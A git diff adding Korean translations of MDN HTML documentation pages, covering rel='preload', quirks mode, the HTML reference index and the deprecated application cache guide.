+   <td>No change since last snapshot ({{SpecName('HTML WHATWG')}})</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Added <code>tag</code>, <code>stylesheet</code>, <code>search</code>, <code>prev</code>, <code>prefetch</code>, <code>noreferrer</code>, <code>nofollow</code>, <code>next</code>, <code>license</code>, <code>icon</code>, <code>help</code>, <code>bookmark</code>, <code>author</code>, and <code>alternate</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("html.elements.link.rel")}}</div>
diff --git a/files/ko/web/html/preloading_content/index.html b/files/ko/web/html/preloading_content/index.html
new file mode 100644
index 0000000000..30e602fbca
--- /dev/null
+++ b/files/ko/web/html/preloading_content/index.html
@@ -0,0 +1,233 @@
+---
+title: Preloading content with rel="preload"
+slug: Web/HTML/Preloading_content
+translation_of: Web/HTML/Preloading_content
+---
+<p class="summary"><span class="seoSummary"> {{htmlelement("link")}}엘리먼트의 {{htmlattrxref("rel", "link")}} 속성에 <code>preload</code>라는 값이 부여되면 페이지 라이프사이클 초기에 필요한 자원에 대해서 HTML  {{htmlelement("head")}} 에서 fetch 요청을 선언할 수 있다. 이는 해당 자원의 가용시점을 앞당기고 렌더링의 방해가 일어나지 않게 함으로서 성능을 개선한다. </span></p>
+
+<p class="summary">이 문서는 <code>&lt;link rel="preload"&gt;</code> 이 어떻게 동작하는지 기본적인 가이드를 제공한다.</p>
+
+<h2 id="The_basics">The basics</h2>
+
+<p>You most commonly use <code>&lt;link&gt;</code> to load a CSS file to style your page with:</p>
+
+<pre class="brush: html notranslate">&lt;link rel="stylesheet" href="styles/main.css"&gt;</pre>
+
+<p>Here however, we will use a <code>rel</code> value of <code>preload</code>, which turns <code>&lt;link&gt;</code> into a preloader for any resource we want. You will also need to specify:</p>
+
+<ul>
+ <li>The path to the resource in the {{htmlattrxref("href", "link")}} attribute.</li>
+ <li>The type of resource in the {{htmlattrxref("as", "link")}} attribute.</li>
+</ul>
+
+<p>A simple example might look like this (see our <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/js-and-css">JS and CSS example source</a>, and <a href="https://mdn.github.io/html-examples/link-rel-preload/js-and-css/">also live</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;JS and CSS preload example&lt;/title&gt;
+
+  &lt;link rel="preload" href="style.css" as="style"&gt;
+  &lt;link rel="preload" href="main.js" as="script"&gt;
+
+  &lt;link rel="stylesheet" href="style.css"&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;h1&gt;bouncing balls&lt;/h1&gt;
+  &lt;canvas&gt;&lt;/canvas&gt;
+
+  &lt;script src="main.js" defer&gt;&lt;/script&gt;
+&lt;/body&gt;</pre>
+
+<p>Here we preload our CSS and JavaScript files so they will be available as soon as they are required for the rendering of the page later on. This example is trivial, as the browser probably discovers the <code>&lt;link rel="stylesheet"&gt;</code> and <code>&lt;script&gt;</code> elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example:</p>
+
+<ul>
+ <li>Resources that are pointed to from inside CSS, like fonts or images.</li>
+ <li>Resources that JavaScript can request, like JSON, imported scripts, or web workers.</li>
+ <li>Larger images and video files.</li>
+</ul>
+
+<p><code>preload</code> has other advantages too. Using <code>as</code> to specify the type of content to be preloaded allows the browser to:</p>
+
+<ul>
+ <li>Prioritize resource loading more accurately.</li>
+ <li>Store in the cache for future requests, reusing the resource if appropriate.</li>
+ <li>Apply the correct <a href="/en-US/docs/Web/HTTP/CSP">content security policy</a> to the resource.</li>
+ <li>Set the correct {{HTTPHeader("Accept")}} request headers for it.</li>
+</ul>
+
+<h3 id="What_types_of_content_can_be_preloaded">What types of content can be preloaded?</h3>
+
+<p>Many different content types can be preloaded. The possible <code>as</code> attribute values are:</p>
+
+<ul>
+ <li><code>audio</code>: Audio file, as typically used in {{htmlelement("audio")}}.</li>
+ <li><code>document</code>: An HTML document intended to be embedded by a {{htmlelement("frame")}} or {{htmlelement("iframe")}}.</li>
+ <li><code>embed</code>: A resource to be embedded inside an {{htmlelement("embed")}} element.</li>
+ <li><code>fetch</code>: Resource to be accessed by a fetch or XHR request, such as an ArrayBuffer or JSON file.</li>
+ <li><code>font</code>: Font file.</li>
+ <li><code>image</code>: Image file.</li>
+ <li><code>object</code>: A resource to be embedded inside an {{htmlelement("object")}} element.</li>
+ <li><code>script</code>: JavaScript file.</li>
+ <li><code>style</code>: CSS stylesheet.</li>
+ <li><code>track</code>: WebVTT file.</li>
+ <li><code>worker</code>: A JavaScript web worker or shared worker.</li>
+ <li><code>video</code>: Video file, as typically used in {{htmlelement("video")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: There's more detail about these values and the web features they expect to be consumed by in the Preload spec — see <a href="https://w3c.github.io/preload/#link-element-extensions">link element extensions</a>. Also note that the full list of values the <code>as</code> attribute can take is governed by the Fetch spec — see <a href="https://fetch.spec.whatwg.org/#concept-request-destination">request destinations</a>.</p>
+</div>
+
+<h2 id="Including_a_MIME_type">Including a MIME type</h2>
+
+<p><code>&lt;link&gt;</code> elements can accept a {{htmlattrxref("type", "link")}} attribute, which contains the MIME type of the resource the element points to. This is especially useful when preloading resources — the browser will use the <code>type</code> attribute value to work out if it supports that resource, and will only download it if so, ignoring it if not.</p>
+
+<p>You can see an example of this in our video example (see the <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/video">full source code</a>, and also <a href="https://mdn.github.io/html-examples/link-rel-preload/video/">the live version</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Video preload example&lt;/title&gt;
+
+  &lt;link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4"&gt;
+  &lt;link rel="preload" href="sintel-short.webm" as="video" type="video/webm"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;video controls&gt;
+    &lt;source src="sintel-short.mp4" type="video/mp4"&gt;
+    &lt;source src="sintel-short.webm" type="video/webm"&gt;
+    &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="sintel-short.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+  &lt;/video&gt;
+&lt;/body&gt;</pre>
+
+<p>So in this case, browsers that support MP4s will preload and use the MP4, making the video player hopefully smoother/more responsive for users. Browsers that don't support MP4 can still load the WebM version, but don't get the advantages of preloading. This shows how preloading content can be combined with the philosophy of progressive enhancement.</p>
+
+<h2 id="Cross-origin_fetches">Cross-origin fetches</h2>
+
+<p>If you've got your sites' <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> settings worked out properly, you can successfully preload cross-origin resources as long as you set a {{htmlattrxref("crossorigin","link")}} attribute on your <code>&lt;link&gt;</code> element.</p>
+
+<p>One interesting case where this applies, even if the fetch is not cross-origin, is font files. Because of various reasons, these have to be fetched using anonymous mode CORS (see <a href="https://drafts.csswg.org/css-fonts/#font-fetching-requirements">Font fetching requirements</a>).</p>
+
+<p>Let's use this case as an example. You can see the full <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/fonts">example source code on GitHub</a> (<a href="https://mdn.github.io/html-examples/link-rel-preload/fonts/">also see it live</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Web font example&lt;/title&gt;
+
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.woff2" as="font" type="font/woff2" crossorigin&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin&gt;
+
+  &lt;link href="style.css" rel="stylesheet"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  …
+&lt;/body&gt;</pre>
+
+<p>Not only are we providing the MIME type hints in the <code>type</code> attributes, but we are also providing the <code>crossorigin</code> attribute to handle the CORS issue.</p>
+
+<h2 id="Including_media">Including media</h2>
+
+<p>One nice feature of <code>&lt;link&gt;</code> elements is their ability to accept {{htmlattrxref("media", "link")}} attributes. These can accept <a href="/en-US/docs/Web/CSS/@media#Media_types">media types</a> or full-blown <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a>, allowing you to do responsive preloading!</p>
+
+<p>Let's look at an example (see it on GitHub — <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/media">source code</a>, <a href="https://mdn.github.io/html-examples/link-rel-preload/media/">live example</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Responsive preload example&lt;/title&gt;
+
+  &lt;link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)"&gt;
+  &lt;link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"&gt;
+
+  &lt;link rel="stylesheet" href="main.css"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;header&gt;
+    &lt;h1&gt;My site&lt;/h1&gt;
+  &lt;/header&gt;
+
+  &lt;script&gt;
+    var mediaQueryList = window.matchMedia("(max-width: 600px)");
+    var header = document.querySelector('header');
+
+    if (mediaQueryList.matches) {
+      header.style.backgroundImage = 'url(bg-image-narrow.png)';
+    } else {
+      header.style.backgroundImage = 'url(bg-image-wide.png)';
+    }
+  &lt;/script&gt;
+&lt;/body&gt;</pre>
+
+<p>We include <code>media</code> attributes on our <code>&lt;link&gt;</code> elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport. We use {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}} to do this (see <a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a> for more).</p>
+
+<p>This makes it much more likely that the font will be available for the page render, cutting down on FOUT (flash of unstyled text).</p>
+
+<p>This doesn't have to be limited to images, or even files of the same type — think big! You could perhaps preload and display a simple SVG diagram if the user is on a narrow screen where bandwidth and CPU is potentially more limited, or preload a complex chunk of JavaScript then use it to render an interactive 3D model if the user's resources are more plentiful.</p>
+
+<h2 id="Scripting_and_preloads">Scripting and preloads</h2>
+
+<p>Another nice thing about these preloads is that you can execute them with script. For example, here we create a {{domxref("HTMLLinkElement")}} instance, then attach it to the DOM:</p>
+
+<pre class="brush: js notranslate"><code class="language-javascript"><span class="keyword token">var</span> preloadLink <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"link"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span>href <span class="operator token">=</span> <span class="string token">"myscript.js"</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span>rel <span class="operator token">=</span> <span class="string token">"preload"</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span><span class="keyword token">as</span> <span class="operator token">=</span> <span class="string token">"script"</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>head<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>preloadLink<span class="punctuation token">)</span><span class="punctuation token">;</span>
+</code></pre>
+
+<p>This means that the browser will preload the <code>myscript.js</code> file, but not actually use it yet. To use it, you could do this:</p>
+
+<pre class="brush: js notranslate"><code class="language-javascript"><span class="keyword token">var</span> preloadedScript <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"script"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+preloadedScript<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">"myscript.js"</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>preloadedScript<span class="punctuation token">)</span><span class="punctuation token">;</span>
+</code></pre>
+
+<p>This is useful when you want to preload a script, but then defer execution until exactly when you need it.</p>
+
+<h2 id="Other_resource_preloading_mechanisms">Other resource preloading mechanisms</h2>
+
+<p>Other preloading features exist, but none are quite as fit for purpose as <code>&lt;link rel="preload"&gt;</code>:</p>
+
+<ul>
+ <li><code>&lt;link rel="prefetch"&gt;</code> has been supported in browsers for a long time, but it is intended for prefetching resources that will be used in the <strong><em>next</em></strong> navigation/page load (e.g. when you go to the next page). This is fine, but isn't useful for the current page! In addition, browsers will give <code>prefetch</code> resources a lower priority than <code>preload</code> ones — the current page is more important than the next. See <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">Link prefetching FAQ</a> for more details.</li>
+ <li><code>&lt;link rel="prerender"&gt;</code> renders a specified webpage in the background, speeding up its load if the user navigates to it. Because of the potential to waste users bandwidth, Chrome treats <code>prerender</code> as a <a href="https://developers.google.com/web/updates/2018/07/nostate-prefetch">NoState prefetch</a> instead.</li>
+ <li><code>&lt;link rel="subresource"&gt;</code> {{non-standard_inline}} was supported in Chrome a while ago, and was intended to tackle the same issue as <code>preload</code>, but it had a problem: there was no way to work out a priority for the items (<code>as</code> didn't exist back then), so they all got fetched with fairly low priority.</li>
+ <li>There are a number of script-based resource loaders out there, but they don't have any power over the browser's fetch prioritization queue, and are subject to much the same performance problems.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td>
+   <td>{{Spec2('Preload')}}</td>
+   <td>Further details of <code>preload</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#link-type-preload', 'rel=preload')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definition of <code>rel=preload</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.link.rel.preload")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/">Preload: What Is It Good For?</a> by Yoav Weiss</li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML")}}</p>
diff --git a/files/ko/web/html/quirks_mode_and_standards_mode/index.html b/files/ko/web/html/quirks_mode_and_standards_mode/index.html
new file mode 100644
index 0000000000..0179c18a4f
--- /dev/null
+++ b/files/ko/web/html/quirks_mode_and_standards_mode/index.html
@@ -0,0 +1,46 @@
+---
+title: 호환 모드와 표준 모드
+slug: Web/HTML/Quirks_Mode_and_Standards_Mode
+translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode
+---
+<p>과거 웹 페이지는 넷스케이프 내비게이터(Netscape Navigator)용과 마이크로소프트 인터넷 익스플로러(Microsoft Internet Explorer)<span style="line-height: inherit;">용의 두 가지 버전으로 만들어졌다</span><span style="line-height: inherit;">. W3C에서 웹 표준을 제정할 당시, 기존 브라우저들은 새롭게 만들어진 표준을 기반으로 대부분의 웹 사이트들을 제대로 표현할 수 없었다. 따라서, 브라우저들은 새로운 표준으로 제작된 사이트와 예전 방식으로 제작된 사이트를 렌더링하기 위한 두 가지 모드를 제공했다.</span></p>
+
+<p>웹 브라우저의 레이아웃 엔진으로 호환 모드(quirks mode), 거의 표준 모드(almost standards mode), 표준 모드(standards mode)의 <span style="line-height: inherit;">세 가지 방식이 존재한다. <strong>호환 모드</strong>(quirks mode)</span><span style="line-height: inherit;">에서는 기존 방식으로 제작된 웹사이트들을 표현하기 위해 내</span><span style="line-height: inherit;">비게이터 4(Navigator 4)와 인터넷 익스플로러 5의 비표준 동작들을 에뮬레이션한다. <strong>완전 표준 모드</strong></span><span style="line-height: inherit;">(full standards mode; 이하 표준 모드)</span><span style="line-height: inherit;">에서는 (아마도) HTML과 CSS에 의해 웹 페이지가 표시된다. <strong>거의 표준 모드</strong>(</span><span style="line-height: inherit;">almost standards mode)는 소수의 호환 모드 요소만 지원한다.</span></p>
+
+<h2 id="How_does_Mozilla_determine_which_mode_to_use.3F" name="How_does_Mozilla_determine_which_mode_to_use.3F">브라우저는 무엇을 보고 모드를 결정할까?</h2>
+
+<p>웹 브라우저는 <a href="/en-US/docs/HTML" style="line-height: inherit;" title="/en-US/docs/HTML">HTML</a><span style="line-height: inherit;"> </span><span style="line-height: inherit;">페이지를 호환 모드나 표준 모드 중 무엇으로 렌더링할지 결정할 때 문서의 첫 부분에 기술된 DOCTYPE을 참조한다. 웹 페이지를 표준 모드로 렌더링하려고 한다면 다음과 같이 페이지 첫 부분에 DOCTYPE을 기술해야 한다.</span></p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset=UTF-8&gt;
+    &lt;title&gt;Hello World!&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>예제에서 사용한 <span style="line-height: inherit;"><code>&lt;!DOCTYPE html&gt;</code>은 HTML5에서 권장하는, 가장 간단한 방식이다. 이전 버전의 HTML 표준들은 다른 방식들을 권장하지만, 오늘날 현존하는 모든 브라우저들은(심지어 옛날 인터넷 익스플로러 6조차도) 이 DOCTYPE은 완전 표준 모드로 렌더링할 것이다. 더 복잡한 DOCTYPE을 굳이 사용할 이유는 없다. 만약 다른 DOCTYPE을 사용하게 된다면, 해당 페이지가 거의 표준 모드나 호환 모드로 렌더링될 수 있는 위험이 있다.</span></p>
+
+<p>DOCTYPE은 반드시 HTML 문서 첫 부분에 기술하자. <span style="line-height: inherit;">인터넷 익스플로러 9 또는 그 이전 버전에서는</span><span style="line-height: inherit;"> DOCTYPE 이전에 </span><span style="line-height: inherit;">주석이나 XML 선언부 등 무엇이든 작성된 상태라면 해당 문서를 호환 모드로 렌더링하게 된다.</span></p>
+
+<p>HTML5에서 DOCTYPE의 유일한 목적은 완전 표준 모드를 활성화하기 위함이다. 이전 버전의 HTML 표준에서는 DOCTYPE이 추가적인 의미를 갖지만, 실제로 이를 호환 모드와 표준 모드의 판단 이외의 목적으로 사용한 브라우저는 없다.</p>
+
+<p>좀 더 자세한 내용은 "브라우저가 다양한 모드를 판단할 때"(<a class="external" href="http://hsivonen.iki.fi/doctype/" title="http://hsivonen.iki.fi/doctype/">when different browsers choose various modes</a>)를 참고하자.</p>
+
+<h3 id="XHTML">XHTML</h3>
+
+<p>여러분의 페이지가 <code>Content-Type</code> <span style="line-height: inherit;">HTTP 헤더를 <code>application/xhtml+xml</code> MIME 타입으로 설정함으로써</span><span style="line-height: inherit;"> </span><a href="/en-US/docs/XHTML" style="line-height: inherit;" title="XHTML">XHTML</a>로 제공된다면, 이런 페이지들은 항상 표준 모드로 렌더링되기 때문에 DOCTYPE을 기술할 필요가 없다. 다만 인터넷 익스플로러는 9부터 XHTML을 지원하기 때문에 인터넷 익스플로러 8의 경우 <code>application/xhtml+xml</code>로 기술된 페이지를 표시하지 않고 알 수 없는 형식으로 판단해 <a href="/en-US/docs/XHTML#Support">다운로드 창을 표시한다</a>.</p>
+
+<p>XHTML 같은(XHTML-like) 콘텐트를 <code>text/html</code> <span style="line-height: inherit;">MIME </span><span style="line-height: inherit;">타입으로 제공한다면 웹 브라우저는 이를 HTML로 인식하므로, 표준 모드로 렌더링하려면 DOCTYPE을 기술해야 한다.</span></p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">페이지에 사용된 모드 확인하기</h2>
+
+<p>파이어폭스(Firefox)에서는 우클릭을 하고 '페이지 등록 정보'에서 '렌더링 방식'을 확인한다.</p>
+
+<p>인터넷 익스플로러에서는 F12 키를 누르고 문서 모드<span style="line-height: inherit;">를 확인한다.</span></p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">모드 간의 차이점</h2>
+
+<p>여러 렌더링 모드의 차이점을 비교하려면 <a href="/ko/docs/Mozilla_Quirks_Mode_Behavior">Mozilla Quirks Mode Behavior</a>와 <a href="/en-US/docs/Mozilla/Gecko_Almost_Standards_Mode">Gecko's "Almost Standards" Mode</a>(영문) 문서를 참고하자.</p>
diff --git a/files/ko/web/html/reference/index.html b/files/ko/web/html/reference/index.html
new file mode 100644
index 0000000000..e2095ab522
--- /dev/null
+++ b/files/ko/web/html/reference/index.html
@@ -0,0 +1,32 @@
+---
+title: HTML 참고서
+slug: Web/HTML/Reference
+tags:
+  - HTML
+  - Landing
+  - Reference
+  - Web
+translation_of: Web/HTML/Reference
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><a href="/ko/docs/Web/HTML">HTML</a> 참고서는 HTML의 모든 <strong>요소</strong>와 <strong>특성</strong>의 설명을 담고 있습니다.</p>
+
+<div class="section">
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Element">HTML 요소 참고서</a></dt>
+ <dd>태그를 사용해 생성할 수 있는 HTML 요소를 나열하는 문서입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Attributes">HTML 특성 참고서</a></dt>
+ <dd>HTML의 요소는 특성을 갖습니다. 특성은 요소의 다양한 설정이나 행동을 사용자가 원하는 방식대로 바꿀 수 있는 값입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></dt>
+ <dd>전역 특성은 모든 HTML에서 공통으로 사용할 수 있는 특성입니다. 일부 요소에는 아무런 효과도 없을 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Link_types">링크 유형</a></dt>
+ <dd>HTML에서는 {{htmlelement("a")}}, {{htmlelement("area")}} 또는 {{htmlelement("link")}} 태그 중 하나를 이용해 한 문서와 다른 문서를 연결함으로써 두 문서의 관계 명시할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></dt>
+ <dd>HTML 요소는 하나 이상의 콘텐츠 카테고리에 속할 수 있습니다. 콘텐츠 카테고리는 같은 성질을 가진 요소를 묶습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Date_and_time_formats">HTML에서 사용하는 날짜와 시간 형식</a></dt>
+ <dd>특정 HTML 요소는 날짜와 시간을 값이나 특성의 값으로 가질 수 있습니다. {{HTMLElement("input")}} 요소의 날짜 및 시간 형태는 물론 {{HTMLElement("ins")}}와 {{HTMLElement("del")}} 요소도 이에 해당합니다.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/HTML" title="Article tagged: HTML">"HTML" 태그를 가진 문서 모두 보기...</a></span></p>
+</div>
diff --git a/files/ko/web/html/using_the_application_cache/index.html b/files/ko/web/html/using_the_application_cache/index.html
new file mode 100644
index 0000000000..e32a89c21a
--- /dev/null
+++ b/files/ko/web/html/using_the_application_cache/index.html
@@ -0,0 +1,338 @@
+---
+title: 애플리케이션 캐시 사용하기
+slug: Web/HTML/Using_the_application_cache
+translation_of: Web/HTML/Using_the_application_cache
+---
+<div>{{DefaultAPISidebar("App Cache")}}{{SecureContext_Header}}{{Deprecated_Header}}
+<div class="blockIndicator warning">
+<p>Using the <em>application caching</em> feature described here is at this point highly discouraged; it’s <a href="https://html.spec.whatwg.org/multipage/browsers.html#offline">in the process of being removed from the Web platform</a>. Use <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service Workers</a> instead. In fact as of Firefox 44, when <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> is used to provide offline support for a page a warning message is now displayed in the console advising developers to use <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> instead ({{bug("1204581")}}).</p>
+</div>
+</div>
+
+<h2 id="소개">소개</h2>
+
+<p><a href="/en-US/docs/HTML/HTML5" title="HTML/HTML5">HTML5</a> 는 웹기반의 애플리케이션들이 오프라인에서도 실행되도록 해주는 애플리케이션 캐시 메카니즘을 제공한다. 개발자는 브라우저에 캐시되어 오프라인 사용자가 사용할 수 있도록 자원을 지정하기 위하여 애플리케이션 캐시(앱 캐시) 인터페이스를 사용할 수 있다. 캐시된 애플리케이션은 사용자가 오프라인 상태에서 새로고침을 클릭할 때 올바르게 불러와서 작동한다.</p>
+
+<p>애플리케이션 캐시를 사용하는 것은 애플리케이션에 다음과 같은 이익을 줍니다:</p>
+
+<ul>
+ <li>오프라인 브라우징: 유저들은 오프라인에서도 사이트를 탐색할 수 있습니다.</li>
+ <li>속도: 로컬에 리소스들을 캐싱함으로서, 로딩속도를 향상시킬 수 있습니다.</li>
+ <li>서버 부하 감소: 브라우저는 서버에서 변경된 리소스들만 다운로드합니다.</li>
+</ul>
+
+<h2 id="애플리케이션_캐시의_작동_방식">애플리케이션 캐시의 작동 방식</h2>
+
+<h3 id="애플리케이션_캐시_활성화_하기">애플리케이션 캐시 활성화 하기</h3>
+
+<p>애플리케이션에서 애플리케이션 캐시를 활성화 하기 위해서, 먼저 당신의 애플리케이션의 페이지들의 {{HTMLElement("html")}} 엘리먼트에 {{htmlattrxref("manifest", "html")}} 속성을 추가할 필요가 있습니다:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+  ...
+&lt;/html&gt;</pre>
+</div>
+
+<p><code>manifest</code> 속성은 <strong>캐시 매니페스트</strong> 파일을 가르키며, 이는 브라우져가 당신의 애플리케이션을 위해 캐싱할 리소스(파일들)의 리스트인 텍스트 파일입니다.</p>
+
+<p>당신은 반드시 <code>manifest</code> 속성을 당신 애플리케이션의 캐싱하길 원하는 모든 페이지마다 포함시켜야합니다. The browser does not cache pages that do not contain the <code>manifest</code>attribute, unless such pages are explicitly listed in the manifest file itself. You do not need to list all the pages you want cached in the manifest file, the browser implicitly adds every page that the user visits and that has the <code>manifest</code> attribute set to the application cache.</p>
+
+<p>몇몇 브라우저들은(e.g., Firefox) 애플리케이션 캐시를 사용하는 애플리케이션을 처음 로드할 때 알림을 띄웁니다. 알림은 다음과 같은 메시지를 표시합니다:</p>
+
+<p style="margin-left: 40px;">해당 사이트가 (<code>www.example.com</code>) 오프라인 사용을 위해 데이터를 저장을 요청합니다. [예] [이 사이트에서 사용안함] [나중에]</p>
+
+<p>The term "offline(-enabled) applications" sometimes refers specifically to applications that the user has allowed to use offline capabilities.</p>
+
+<h3 id="documents_불러오기">documents 불러오기</h3>
+
+<p>The use of an application cache modifies the normal process of loading a document:</p>
+
+<ul>
+ <li>If an application cache exists, the browser loads the document and its associated resources directly from the cache, without accessing the network. This speeds up the document load time.</li>
+ <li>The browser then checks to see if the cache manifest has been updated on the server.</li>
+ <li>If the cache manifest has been updated, the browser downloads a new version of the manifest and the resources listed in the manifest. This is done in the background and does not affect performance significantly.</li>
+</ul>
+
+<p>The process for loading documents and updating the application cache is specified in greater detail below:</p>
+
+<ol>
+ <li>When the browser visits a document that includes the <code>manifest</code> attribute, if no application cache exists, the browser loads the document and then fetches all the entries listed in the manifest file, creating the first version of the application cache.</li>
+ <li>Subsequent visits to that document cause the browser to load the document and other assets specified in the manifest file from the application cache (not from the server). In addition, the browser also sends a <code>checking</code> event to the <code><a href="/en-US/docs/DOM/window.applicationCache" title="DOM/window.applicationCache">window.applicationCache</a></code> object, and fetches the manifest file, following the appropriate HTTP caching rules.</li>
+ <li>If the currently-cached copy of the manifest is up-to-date, the browser sends a <code>noupdate</code> event to the <code>applicationCache</code> object, and the update process is complete. Note that if you change any cached resources on the server, you must also change the manifest file itself, so that the browser knows it needs to fetch all the resources again.</li>
+ <li>If the manifest file <em>has</em> changed, all the files listed in the manifest—as well as those added to the cache by calling <code><a href="/en-US/docs/nsIDOMOfflineResourceList#add.28.29" title="nsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code>—are fetched into a temporary cache, following the appropriate HTTP caching rules. For each file fetched into this temporary cache, the browser sends a <code>progress</code> event to the <code>applicationCache</code> object. If any errors occur, the browser sends an <code>error</code> event, and the update halts.</li>
+ <li>Once all the files have been successfully retrieved, they are moved into the real offline cache automatically, and a <code>cached</code> event is sent to the <code>applicationCache</code> object. Since the document has already been loaded into the browser from the cache, the updated document will not be rendered until the document is reloaded (either manually or programatically).</li>
+</ol>
+
+<h2 id="Storage_location_and_clearing_the_offline_cache">Storage location and clearing the offline cache</h2>
+
+<p>In Chrome you can clear the offline cache by selecting "Clear browsing data..." in the preferences or by visiting <a title="chrome://appcache-internals/">chrome://appcache-internals/</a>. Safari has a similar "Empty cache" setting in its preferences but a browser restart may also be required.</p>
+
+<p>In Firefox, the offline cache data is stored separately from the Firefox profile—next to the regular disk cache:</p>
+
+<ul>
+ <li>Windows Vista/7: <code>C:\Users\&lt;username&gt;\AppData\<strong>Local</strong>\Mozilla\Firefox\Profiles\&lt;salt&gt;.&lt;profile name&gt;\OfflineCache</code></li>
+ <li>Mac/Linux: <code>/Users/&lt;username&gt;/Library/Caches/Firefox/Profiles/&lt;salt&gt;.&lt;profile name&gt;/OfflineCache</code></li>
+</ul>
+
